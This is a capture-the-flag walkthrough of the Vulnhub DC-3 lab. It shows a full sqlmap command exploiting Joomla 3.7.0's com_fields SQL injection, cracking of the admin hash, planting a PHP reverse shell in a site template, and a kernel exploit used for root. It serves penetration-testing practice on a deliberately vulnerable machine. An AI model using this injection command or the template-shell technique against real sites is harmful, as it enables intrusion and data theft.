Vulnhub - DC 3

We are going to pwn DC 3 by DCAU7 from Vulnhub


DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools. For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward. For those with experience doing CTF and Boot2Root challenges, this probably won’t take you long at all (in fact, it could take you less than 20 minutes easily). If that’s the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

Download Link:,312/

Lets Begin with our Initial Scan

Nmap Scan Results

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 08:00:27:BE:4C:95 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

Looks like only HTTP port is open so lets start our Gobuster

Gobuster Result

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2019/11/25 19:06:03 Starting gobuster
/.htaccess (Status: 403)
/.hta (Status: 403)
/administrator (Status: 301)
/.htpasswd (Status: 403)
/cache (Status: 301)
/bin (Status: 301)
/components (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/index.php (Status: 200)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/server-status (Status: 403)
/templates (Status: 301)
/tmp (Status: 301)
2019/11/25 19:06:05 Finished

It is JoomlaCMS so i tried using droopescan to find any vulnerable plugins or versions

Finding the version is vulnerable

We can also use Metasploit to find Joomla’s Version

Joomla Version 3.7.0

I found there is an SQL INjection for this version.

SQL Injection

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

It shows 5 Databases so lets enumerate the database by using the same command.

-D = To denote which database

It looks like #_users is interesting

-T = Used to denote which table
-C = What are the things we need from the table
--dump = To display all

We got a hash for admin so lets try it with john

It Shows the password is snoopy

Lets Try login

Getting Shell

We need to get reverse shell since there is no other ports running we need to get reverse shell from the webpage

Templates -> Templates -> Beez3 Details and Files -> Index.php I added my PHP Reverse Shell.

Once added I clicked on Template Preview… and I got the shell

Privilege Escalation

It looks like Kernel is outdated

Found there is an exploit from searchsploit

I uploaded the code into the machine and did according to the instruction.

First ./ And ./doubleput


Got ROOT!!